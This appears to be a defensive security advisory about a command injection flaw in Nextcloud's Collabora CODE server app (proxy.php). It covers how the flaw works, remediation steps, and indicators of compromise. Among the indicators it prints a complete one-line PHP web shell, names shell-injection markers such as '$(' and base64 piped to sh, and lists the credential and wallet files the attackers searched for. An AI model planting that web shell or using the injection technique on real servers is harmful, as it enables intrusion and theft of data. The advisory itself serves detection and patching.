Cybersecurity professionals and privacy-conscious users managing **Nextcloud** instances should immediately address a critical vulnerability, **CVE-2026-110447**, affecting the **Collabora Online - Built-in CODE Server** app. This flaw has been actively exploited to deploy web shells, granting attackers unauthorized command execution capabilities. ### The Vulnerability Explained The exploit targets a weakness in the `proxy.php` script of the **Collabora Online - Built-in CODE Server** app (package name `richdocumentscode`). This app allows **Nextcloud Office** to edit documents directly on the **Nextcloud** server without requiring a separate **Collabora** instance. The flaw specifically arises when the app's local document server is not running (e.g., during a restart, upgrade, or crash). In versions prior to 26.4.303, the `proxy.php` script incorrectly processed requests by placing text, including the request path, inside a double-quoted bash command. This allowed attackers to inject arbitrary commands via the request path using shell expansion techniques like `$(...)`. Crucially, the attack only succeeds while the **Collabora** server is down, as the malicious command is executed during the server's startup sequence. The `proxy.php` script operates independently of **Nextcloud**'s core code, making it a direct target. ### Affected Systems and Remediation **Collabora** issued an advisory and released a fix in version **26.4.303** on September 11, with the advisory formally published on October 14. All versions of the **Collabora Online - Built-in CODE Server** app prior to **26.4.303** are vulnerable. Standalone **Collabora Online** servers are not affected. It is imperative to understand that *disabling* the app is insufficient to mitigate the risk; it must be updated or removed entirely. For **Nextcloud** instances running version 29 or older, which cannot install the patched app version, users must either upgrade their **Nextcloud** instance or remove the app. ### In-the-Wild Exploitation Reports from multiple administrators on GitHub detail active exploitation beginning as early as September 10. Attackers leveraged the vulnerability by sending crafted requests to `proxy.php?status` with shell commands embedded in the request path. One administrator reported finding web shells (e.g., `shrf4645.php`, `shxa35d0.php`) on their servers. These shells were used to search for sensitive data, including credential stores and cryptocurrency wallets (e.g., `*.kdbx`, `wallet.dat`, `keystore.json`, and directories like `.bitcoin`, `.electrum`, `.monero`). While direct evidence of data exfiltration was not observed in the reviewed logs, any data readable by the web server account should be considered compromised. Subsequent attack attempts against patched servers, while not leading to new shell deployments, underscore the persistent threat and the importance of timely updates. ### Immediate Actions Required To secure your **Nextcloud** instance, follow these steps: 1. **Update or Remove the App:** Upgrade **Collabora Online - Built-in CODE Server** (package `richdocumentscode`) to version **26.4.303** or later. If an upgrade is not possible, remove the app. Simply disabling it is not enough. 2. **Nextcloud Version Check:** If you are running **Nextcloud 29** or older, which cannot install the patched app, you must either upgrade your **Nextcloud** instance or remove the app. 3. **Post-Update Scan:** After updating, thoroughly check your `apps/richdocumentscode/` directory for any suspicious `shx*.php` files and delete them. 4. **Log Review:** Examine access logs dating back to at least September 10 for requests to `proxy.php?status` containing indicators like `%2e%2e`, `$(`, or `${IFS}` in the path. Also, look for unusual `sudo` attempts by the web server account. 5. **Data Exposure Assessment:** Assume any data accessible by the web server account on a compromised instance may have been exposed. ### Indicators of Compromise (IoCs): * **Malicious Files:** `shrf4645.php`, `shxa35d0.php`, `shx5cf91.php`, `shxd33ce.php`, `shxf4645.php`, `shx13a86.php`, `shx56367.php` (found in `apps/richdocumentscode/` or other locations). * **SHA-256 Hash of Web Shell:** `4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562` (for the `<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');` web shell). * **Request Path:** `/apps/richdocumentscode/proxy.php?status`. * **Attacker IPs:** `139.28[.]18[.]122`, `89.38[.]98[.]50`. * **Request Markers:** `%2e%2e`, `$(`, `${IFS}`, `base64 -d` piped to `sh` within the request path. * **Callback Domain:** `webhook[.]site` (with callback IDs `45060ed4-de0b-4119-8f0d-2a2776bbd413` and `774cf5e1-b5a4-4174-a1ad-0241861029a2`). ### A Silent Fix Interestingly, the fix for this vulnerability, a four-line code change in `proxy.php`, was committed on September 9 under the title "tidy up how the coolwsd launch command is built" by **Caolán McNamara**, who also authored the advisory. This change effectively escapes the command passed to bash, preventing shell expansion. The patched version **26.4.303** was released on September 11, *after* the first reported attacks, with release notes that did not explicitly mention a security fix, highlighting the importance of diligent security monitoring and rapid response to emerging threats.